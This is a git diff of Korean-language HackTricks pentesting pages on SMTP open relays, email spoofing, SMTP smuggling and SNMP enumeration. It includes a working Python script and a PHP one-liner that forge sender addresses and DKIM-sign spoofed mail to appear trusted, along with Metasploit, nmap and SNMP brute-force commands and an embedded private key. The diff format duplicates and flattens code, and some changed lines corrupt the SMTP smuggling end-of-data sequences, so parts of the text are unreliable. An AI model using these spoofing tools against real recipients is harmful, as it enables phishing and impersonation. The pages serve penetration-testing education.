#### **오픈 릴레이**
|
||||
|
||||
이메일을 보낼 때 스팸으로 표시되지 않도록 하는 것은 매우 중요합니다. 이는 주로 수신자가 신뢰하는 **릴레이 서버를 통해** 달성됩니다. 그러나 일반적인 도전 과제는 관리자가 어떤 **IP 범위가 안전하게 허용되어야 하는지를 완전히 인식하지 못할 수도** 있다는 것입니다. 이러한 이해 부족은 SMTP 서버 설정에서 실수를 유발할 수 있으며, 이는 보안 평가에서 자주 발견되는 위험입니다.
|
||||
|
||||
잠재적 또는 진행 중인 고객과의 통신을 특히 걱정할 때 일부 관리자가 이메일 전달 문제를 피하기 위해 사용하는 해결책은 **모든 IP 주소에서의 연결을 허용**하는 것입니다. 이는 SMTP 서버의 `mynetworks` 매개변수를 모든 IP 주소를 허용하도록 구성하여 수행됩니다.
|
||||
|
||||
```bash
|
||||
mynetworks = 0.0.0.0/0
|
||||
```
|
||||
|
||||
다음은 메일 서버가 오픈 릴레이인지 확인하는 데 사용되는 `nmap` 도구에 대한 내용입니다. 이는 외부 소스에서 이메일을 전달할 수 있는 서버를 의미합니다. 이를 테스트하기 위해 특정 스크립트가 포함된 `nmap` 도구가 일반적으로 사용됩니다. 예를 들어 IP가 10.10.10.10인 서버의 포트 25에서 `nmap`을 사용하여 상세 스캔을 수행하는 명령어는 다음과 같습니다:
|
||||
|
||||
```bash
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
### **도구**
|
||||
|
||||
#### **도구**
|
||||
|
||||
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **SPF 및 DMARC 구성 오류 확인**
|
||||
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **자동으로 SPF 및 DMARC 구성 가져오기**
|
||||
|
||||
### 이메일 위조 보내기
|
||||
#### 이메일 위조 보내기
|
||||
|
||||
* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
|
||||
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
|
||||
|
@ -411,15 +429,17 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
|||
**또는 도구를 사용할 수 있습니다:**
|
||||
|
||||
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)
|
||||
|
||||
```bash
|
||||
# This will send a test email from test@victim.com to destination@gmail.com
|
||||
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
|
||||
# But you can also modify more options of the email
|
||||
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
|
||||
만약 dkim python 라이브러리를 사용할 때 **키를 구문 분석하는 데 오류가 발생**하면 다음과 같이 사용해도 괜찮습니다.\
|
||||
**참고**: 이것은 openssl 개인 키가 어떤 이유로든 dkim에 의해 **구문 분석되지 못하는 경우**에 빠른 확인을 위한 더러운 수정이라는 점을 유의하세요.
|
||||
|
||||
```
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
|
||||
|
@ -437,81 +457,16 @@ zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
|
|||
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
|
||||
-----END RSA PRIVATE KEY-----
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
**또는 수동으로 수행할 수 있습니다:**
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="PHP" %}
|
||||
<pre class="language-php"><code class="lang-php"><strong># 이것은 서명되지 않은 메시지를 보냅니다
|
||||
</strong><strong>mail("your_email@gmail.com", "테스트 제목!", "안녕하세요! 이것은 테스트입니다", "From: administrator@victim.com");
|
||||
</strong></code></pre>
|
||||
{% endtab %}
|
||||
\# 이것은 서명되지 않은 메시지를 보냅니다mail("your\_email@gmail.com", "테스트 제목!", "안녕하세요! 이것은 테스트입니다", "From: administrator@victim.com");# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.pyimport osimport dkim #pip3 install dkimpyimport smtplibfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.mime.base import MIMEBase# Set paramsdestination="destination@gmail.com"sender="administrator@victim.com"subject="Test"message\_html="""\<html>\<body>\<h3>This is a test, not a scam\</h3>\<br />\</body>\</html>"""sender\_domain=sender.split("@")\[1]# Prepare postfixos.system("sudo sed -ri 's/(myhostname) = (.\*)/\\\1 = "+sender\_domain+"/g' /etc/postfix/main.cf")os.system("systemctl restart postfix")# Generate DKIM keysdkim\_private\_key\_path="dkimprivatekey.pem"os.system(f"openssl genrsa -out {dkim\_private\_key\_path} 1024 2> /dev/null")with open(dkim\_private\_key\_path) as fh:dkim\_private\_key = fh.read()# Generate emailmsg = MIMEMultipart("alternative")msg.attach(MIMEText(message\_html, "html"))msg\["To"] = destinationmsg\["From"] = sendermsg\["Subject"] = subjectheaders = \[b"To", b"From", b"Subject"]msg\_data = msg.as\_bytes()# Sign email with dkim## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)dkim\_selector="s1"sig = dkim.sign(message=msg\_data,selector=str(dkim\_selector).encode(),domain=sender\_domain.encode(),privkey=dkim\_private\_key.encode(),include\_headers=headers)msg\["DKIM-Signature"] = sig\[len("DKIM-Signature: ") :].decode()msg\_data = msg.as\_bytes()# Use local postfix relay to send emailsmtp="127.0.0.1"s = smtplib.SMTP(smtp)s.sendmail(sender, \[destination], msg\_data)
|
||||
|
||||
{% tab title="Python" %}
|
||||
```python
|
||||
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
|
||||
|
||||
import os
|
||||
import dkim #pip3 install dkimpy
|
||||
import smtplib
|
||||
from email.mime.multipart import MIMEMultipart
|
||||
from email.mime.text import MIMEText
|
||||
from email.mime.base import MIMEBase
|
||||
|
||||
# Set params
|
||||
destination="destination@gmail.com"
|
||||
sender="administrator@victim.com"
|
||||
subject="Test"
|
||||
message_html="""
|
||||
<html>
|
||||
<body>
|
||||
<h3>This is a test, not a scam</h3>
|
||||
<br />
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
sender_domain=sender.split("@")[1]
|
||||
|
||||
# Prepare postfix
|
||||
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
|
||||
os.system("systemctl restart postfix")
|
||||
|
||||
# Generate DKIM keys
|
||||
dkim_private_key_path="dkimprivatekey.pem"
|
||||
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
|
||||
with open(dkim_private_key_path) as fh:
|
||||
dkim_private_key = fh.read()
|
||||
|
||||
# Generate email
|
||||
msg = MIMEMultipart("alternative")
|
||||
msg.attach(MIMEText(message_html, "html"))
|
||||
msg["To"] = destination
|
||||
msg["From"] = sender
|
||||
msg["Subject"] = subject
|
||||
headers = [b"To", b"From", b"Subject"]
|
||||
msg_data = msg.as_bytes()
|
||||
|
||||
# Sign email with dkim
|
||||
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
|
||||
dkim_selector="s1"
|
||||
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
|
||||
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
|
||||
msg_data = msg.as_bytes()
|
||||
|
||||
# Use local postfix relay to send email
|
||||
smtp="127.0.0.1"
|
||||
s = smtplib.SMTP(smtp)
|
||||
s.sendmail(sender, [destination], msg_data)
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### **추가 정보**
|
||||
#### **추가 정보**
|
||||
|
||||
**이러한 보호 기능에 대한 자세한 정보는** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) **에서 찾을 수 있습니다.**
|
||||
|
||||
### **기타 사기 피싱 지표**
|
||||
#### **기타 사기 피싱 지표**
|
||||
|
||||
* 도메인 연령
|
||||
* IP 주소를 가리키는 링크
|
||||
|
@ -522,25 +477,28 @@ s.sendmail(sender, [destination], msg_data)
|
|||
* 유효하고 신뢰할 수 있는 SSL 인증서의 존재
|
||||
* 페이지를 웹 콘텐츠 필터링 사이트에 제출
|
||||
|
||||
## SMTP를 통한 유출
|
||||
### SMTP를 통한 유출
|
||||
|
||||
**SMTP를 통해 데이터를 전송할 수 있다면** [**여기를 읽어보세요**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.**
|
||||
|
||||
## 구성 파일
|
||||
### 구성 파일
|
||||
|
||||
### 포스트픽스
|
||||
#### 포스트픽스
|
||||
|
||||
일반적으로, `/etc/postfix/master.cf`에는 사용자가 새 이메일을 받을 때 실행할 **스크립트가 포함**되어 있습니다. 예를 들어, `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`라는 줄은 사용자 mark가 새 이메일을 받으면 `/etc/postfix/filtering`이 실행될 것을 의미합니다.
|
||||
|
||||
다른 구성 파일:
|
||||
|
||||
```
|
||||
sendmail.cf
|
||||
submit.cf
|
||||
```
|
||||
## 참고 자료
|
||||
|
||||
### 참고 자료
|
||||
|
||||
* [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
|
||||
* [https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/)
|
||||
|
||||
```
|
||||
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 25,465,587 #Comma separated if there is more than one.
|
||||
|
@ -591,22 +549,9 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
|
||||
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
**취약점 평가 및 침투 테스트를 즉시 사용할 수 있도록 설정**. 20가지 이상의 도구 및 기능을 사용하여 어디서든 전체 펜테스트를 실행하고, 정찰부터 보고서 작성까지 가능합니다. 우리는 펜테스터를 대체하지 않습니다 - 대신, 깊이 파고들고, 쉘을 열고 즐길 수 있는 시간을 돌려주기 위해 사용자 정의 도구, 탐지 및 공격 모듈을 개발합니다.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# SMTP 스멀글링
|
||||
# SMTP Smuggling
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f)**이나** [**텔레그램 그룹**](https://t.me/peass)**에 가입하거나** 트위터\*\* 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 요령을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소를 팔로우하세요.
|
||||
|
||||
</details>
|
||||
|
@ -29,14 +29,14 @@ SMTP 프로토콜에서 이메일에 보낼 **메시지의 데이터**는 사용
|
|||
이 취약점을 악용하려면 공격자는 **아웃바운드 SMPT 서버가 하나의 이메일로만 생각하지만 인바운드 SMTP 서버가 여러 이메일로 생각하는 데이터를 보내야 합니다**.
|
||||
|
||||
연구원들은 **인바운드 서버가 이메일 메시지의 데이터 끝으로 다른 문자를 고려**한다는 것을 발견했습니다.\
|
||||
예를 들어, 일반적인 데이터의 끝은 `\r\n.\r\n`입니다. 그러나 인바운드 SMTP 서버가 `\n.\n`도 지원한다면, 공격자는 이 데이터를 이메일에 추가하고 이전 이미지와 같이 밀반입할 새로운 SMTP 명령을 시작할 수 있습니다.
|
||||
예를 들어, 일반적인 데이터의 끝은 `\r\n.\r`입니다. 그러나 인바운드 SMTP 서버가 `\n.`도 지원한다면, 공격자는 이 데이터를 이메일에 추가하고 이전 이미지와 같이 밀반입할 새로운 SMTP 명령을 시작할 수 있습니다.
|
||||
|
||||
물론, 이것은 **아웃바운드 SMTP 서버도 이 데이터를 메시지 데이터의 끝으로 처리하지 않는 경우에만 작동**합니다. 그렇지 않으면 1개가 아닌 2개의 이메일을 볼 것이므로, 결국 이 취약점에서 악용되는 비동기화입니다.
|
||||
|
||||
가능한 비동기화 데이터:
|
||||
|
||||
* `\n.\n`
|
||||
* `\n.\r\n`
|
||||
* `\n.`
|
||||
* `\n.\r`
|
||||
|
||||
또한 SPF가 우회되는 이유는 `user@outlook.com`의 이메일에서 `admin@outlook.com`의 이메일을 밀반입하면 **송신자는 여전히 `outlook.com`입니다.**
|
||||
|
||||
|
@ -53,7 +53,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f)**이나** [**텔레그램 그룹**](https://t.me/peass)**에 가입하거나** 트위터\*\* 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 요령을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소를 팔로우하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# 161,162,10161,10162/udp - SNMP Pentesting
|
||||
# 161,162,10161,10162/udp - Pentesting SNMP
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* \*\*💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
@ -17,27 +17,29 @@ HackTricks를 지원하는 다른 방법:
|
|||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**SNMP - Simple Network Management Protocol**은 네트워크의 다양한 장치(라우터, 스위치, 프린터, IoT 등)를 모니터링하는 데 사용되는 프로토콜입니다.
|
||||
|
||||
```
|
||||
PORT STATE SERVICE REASON VERSION
|
||||
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
SNMP은 **트랩**을 위해 **162/UDP** 포트도 사용합니다. 이들은 **명시적으로 요청하지 않은 SNMP 서버에서 클라이언트로 보내는 데이터 패킷**입니다.
|
||||
{% endhint %}
|
||||
|
||||
### MIB
|
||||
|
||||
다양한 제조업체 및 다른 클라이언트-서버 조합에서 SNMP 액세스가 작동하도록 보장하기 위해 **관리 정보베이스(MIB)**가 만들어졌습니다. MIB는 **장치 정보를 저장하는 독립형 형식**입니다. MIB는 장치의 모든 질의 가능한 **SNMP 객체**가 **표준화된** 트리 계층 구조로 나열된 **텍스트** 파일입니다. 적어도 하나의 `객체 식별자(OID)`를 포함하며, **고유 주소 및 이름**뿐만 아니라 해당 객체의 유형, 액세스 권한 및 설명에 대한 정보도 제공합니다. MIB 파일은 `Abstract Syntax Notation One(ASN.1)` 기반 ASCII 텍스트 형식으로 작성됩니다. **MIB에는 데이터가 포함되어 있지 않지만** 어디에서 어떤 정보를 찾을 수 있는지, 어떻게 보이는지, 특정 OID에 대한 반환 값 또는 사용된 데이터 유형에 대한 설명을 설명합니다.
|
||||
다양한 제조업체 및 다른 클라이언트-서버 조합에서 SNMP 액세스가 작동하도록 보장하기 위해 \*\*관리 정보베이스(MIB)\*\*가 만들어졌습니다. MIB는 **장치 정보를 저장하는 독립형 형식**입니다. MIB는 장치의 모든 질의 가능한 **SNMP 객체**가 **표준화된** 트리 계층 구조로 나열된 **텍스트** 파일입니다. 적어도 하나의 `객체 식별자(OID)`를 포함하며, **고유 주소 및 이름**뿐만 아니라 해당 객체의 유형, 액세스 권한 및 설명에 대한 정보도 제공합니다. MIB 파일은 `Abstract Syntax Notation One(ASN.1)` 기반 ASCII 텍스트 형식으로 작성됩니다. **MIB에는 데이터가 포함되어 있지 않지만** 어디에서 어떤 정보를 찾을 수 있는지, 어떻게 보이는지, 특정 OID에 대한 반환 값 또는 사용된 데이터 유형에 대한 설명을 설명합니다.
|
||||
|
||||
### OIDs
|
||||
|
||||
**객체 식별자(OID)**는 중요한 역할을 합니다. 이러한 고유 식별자는 **관리 정보베이스(MIB)** 내의 객체를 관리하기 위해 설계되었습니다.
|
||||
\*\*객체 식별자(OID)\*\*는 중요한 역할을 합니다. 이러한 고유 식별자는 **관리 정보베이스(MIB)** 내의 객체를 관리하기 위해 설계되었습니다.
|
||||
|
||||
MIB 객체 ID 또는 OID의 최상위 수준은 다양한 표준 설정 조직에 할당됩니다. 이러한 최상위 수준에서는 전역 관리 관행 및 표준의 프레임워크가 설정됩니다.
|
||||
|
||||
또한, 공급업체는 개인 브랜치를 설정할 수 있습니다. 이러한 브랜치 내에서는 **제품 라인에 관련된 관리 대상 객체를 포함할 권한**이 있습니다. 이 시스템은 다른 공급업체 및 표준 간에 다양한 객체를 식별하고 관리하기 위한 체계적이고 조직적인 방법이 있음을 보장합니다.
|
||||
|
||||
![](../../.gitbook/assets/snmp_oid_mib_tree.png)
|
||||
![](../../.gitbook/assets/snmp\_oid\_mib\_tree.png)
|
||||
|
||||
웹에서 **OID 트리**를 **탐색**할 수 있습니다: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) 또는 `1.3.6.1.2.1.1`과 같은 OID가 무엇을 의미하는지 확인할 수 있습니다: [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
||||
[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) 내부에 있는 것과 같은 **잘 알려진 OIDs**가 있습니다. 이는 MIB-2에서 정의된 간단한 네트워크 관리 프로토콜(SNMP) 변수를 참조합니다. 이 **OID로부터 보류 중인 OID**를 통해 일부 흥미로운 호스트 데이터(시스템 데이터, 네트워크 데이터, 프로세스 데이터)를 얻을 수 있습니다.
|
||||
|
@ -90,7 +92,7 @@ SNMP에는 2가지 중요한 버전이 있습니다:
|
|||
* **`public`** 주로 **읽기 전용** 기능
|
||||
* **`private`** 일반적으로 **읽기/쓰기** 기능
|
||||
|
||||
OID의 쓰기 가능성은 사용된 커뮤니티 문자열에 따라 다르므로 **"public"**이 사용된다 해도 **일부 값을 쓸 수 있을 수 있습니다.** 또한 **항상 "읽기 전용"**인 객체가 존재할 수 있습니다.\
|
||||
OID의 쓰기 가능성은 사용된 커뮤니티 문자열에 따라 다르므로 \*\*"public"\*\*이 사용된다 해도 **일부 값을 쓸 수 있을 수 있습니다.** 또한 \*\*항상 "읽기 전용"\*\*인 객체가 존재할 수 있습니다.\
|
||||
객체를 **쓰려고** 하면 **`noSuchName` 또는 `readOnly` 오류**가 발생합니다\*\*.\*\*
|
||||
|
||||
버전 1 및 2/2c에서 **잘못된** 커뮤니티 문자열을 사용하면 서버가 **응답하지 않습니다**. 따라서 응답이 오면 **유효한 커뮤니티 문자열이 사용**된 것입니다.
|
||||
|
@ -110,13 +112,16 @@ OID의 쓰기 가능성은 사용된 커뮤니티 문자열에 따라 다르므
|
|||
## SNMP 열거
|
||||
|
||||
장치에서 수집된 **각 OID가 무엇을 의미하는지 확인**하려면 다음을 설치하는 것이 좋습니다:
|
||||
|
||||
```bash
|
||||
apt-get install snmp-mibs-downloader
|
||||
download-mibs
|
||||
# Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf
|
||||
sudo vi /etc/snmp/snmp.conf
|
||||
```
|
||||
|
||||
만약 유효한 커뮤니티 문자열을 알고 있다면, **SNMPWalk** 또는 **SNMP-Check**를 사용하여 데이터에 액세스할 수 있습니다:
|
||||
|
||||
```bash
|
||||
snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot
|
||||
snmpbulkwalk -c public -v2c 10.10.11.136 .
|
||||
|
@ -132,10 +137,13 @@ nmap --script "snmp* and not snmp-brute" <target>
|
|||
|
||||
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
|
||||
```
|
||||
|
||||
다음 명령을 사용하여 시스템에 대해 더 많은 정보를 열거할 수 있습니다 :
|
||||
|
||||
```bash
|
||||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
```
|
||||
|
||||
**SNMP**에는 호스트에 대한 많은 정보가 포함되어 있으며, 흥미로운 정보로는 **네트워크 인터페이스**(IPv4 및 **IPv6** 주소), 사용자 이름, 가동 시간, 서버/OS 버전 및 **프로세스**가 있습니다(비밀번호 포함 가능).
|
||||
|
||||
### **위험한 설정**
|
||||
|
@ -146,10 +154,11 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
|||
|
||||
네트워크 관리에서 중요한 설정 중 두 가지는 **전체 OID 트리**에 액세스할 수 있도록 하는 핵심 구성 요소입니다:
|
||||
|
||||
1. **`rwuser noauth`**는 인증이 필요 없이 OID 트리에 대한 완전한 액세스를 허용하도록 설정됩니다. 이 설정은 간단하며 제한 없는 액세스를 허용합니다.
|
||||
1. \*\*`rwuser noauth`\*\*는 인증이 필요 없이 OID 트리에 대한 완전한 액세스를 허용하도록 설정됩니다. 이 설정은 간단하며 제한 없는 액세스를 허용합니다.
|
||||
2. 더 구체적인 제어를 위해 다음을 사용하여 액세스를 허용할 수 있습니다:
|
||||
* **`rwcommunity`**는 **IPv4** 주소에 대해,
|
||||
* **`rwcommunity6`**는 **IPv6** 주소에 대해 액세스를 허용합니다.
|
||||
|
||||
* \*\*`rwcommunity`\*\*는 **IPv4** 주소에 대해,
|
||||
* \*\*`rwcommunity6`\*\*는 **IPv6** 주소에 대해 액세스를 허용합니다.
|
||||
|
||||
두 명령 모두 **커뮤니티 문자열**과 관련 IP 주소를 필요로 하며, 요청의 출처에 관계없이 완전한 액세스를 제공합니다.
|
||||
|
||||
|
@ -188,36 +197,46 @@ SNMP 서비스 내에서 **값을 쓰는** 데 사용할 수 있는 **문자열*
|
|||
Braa는 자체 SNMP 스택을 구현하므로 net-snmp와 같은 SNMP 라이브러리가 필요하지 않습니다.
|
||||
|
||||
**구문:** braa \[커뮤니티 문자열]@\[SNMP 서버의 IP]:\[iso id]
|
||||
|
||||
```bash
|
||||
braa ignite123@192.168.1.125:.1.3.6.*
|
||||
```
|
||||
|
||||
### **장치**
|
||||
|
||||
이 프로세스는 각 파일에서 **sysDesc MIB 데이터** (1.3.6.1.2.1.1.1.0)를 추출하여 장치를 식별하는 것으로 시작됩니다. 이는 **grep 명령어**를 사용하여 수행됩니다:
|
||||
|
||||
```bash
|
||||
grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
||||
```
|
||||
|
||||
### **개인 문자열 식별**
|
||||
|
||||
핵심 단계는 기관이 특히 Cisco IOS 라우터에서 사용하는 **개인 커뮤니티 문자열**을 식별하는 것입니다. 이 문자열은 라우터에서 **실행 중인 구성**을 추출하는 데 사용됩니다. 식별은 종종 **grep 명령어**를 사용하여 SNMP Trap 데이터를 분석하여 "trap"이라는 단어를 찾는 것에 의존합니다:
|
||||
|
||||
```bash
|
||||
grep -i "trap" *.snmp
|
||||
```
|
||||
|
||||
### **사용자 이름/암호**
|
||||
|
||||
MIB 테이블에 저장된 로그는 **로그인 실패 시도**를 조사하며, 이는 실수로 사용자 이름으로 입력된 암호를 포함할 수 있습니다. _fail_, _failed_, 또는 _login_과 같은 키워드를 검색하여 가치 있는 데이터를 찾습니다:
|
||||
MIB 테이블에 저장된 로그는 **로그인 실패 시도**를 조사하며, 이는 실수로 사용자 이름으로 입력된 암호를 포함할 수 있습니다. _fail_, _failed_, 또는 \_login\_과 같은 키워드를 검색하여 가치 있는 데이터를 찾습니다:
|
||||
|
||||
```bash
|
||||
grep -i "login\|fail" *.snmp
|
||||
```
|
||||
|
||||
### **이메일**
|
||||
|
||||
마지막으로 데이터에서 **이메일 주소**를 추출하기 위해 정규 표현식을 사용한 **grep 명령어**가 사용되며, 이메일 형식과 일치하는 패턴에 초점을 맞춥니다:
|
||||
|
||||
```bash
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
||||
```
|
||||
|
||||
## SNMP 값 수정
|
||||
|
||||
_**NetScanTools**_를 사용하여 **값을 수정**할 수 있습니다. 이를 위해 **개인 문자열**을 알아야 합니다.
|
||||
\_**NetScanTools**\_를 사용하여 **값을 수정**할 수 있습니다. 이를 위해 **개인 문자열**을 알아야 합니다.
|
||||
|
||||
## Spoofing
|
||||
|
||||
|
@ -229,13 +248,14 @@ SMNP 서비스에 쿼리할 수 있는 IP만 허용하는 ACL이 있는 경우,
|
|||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
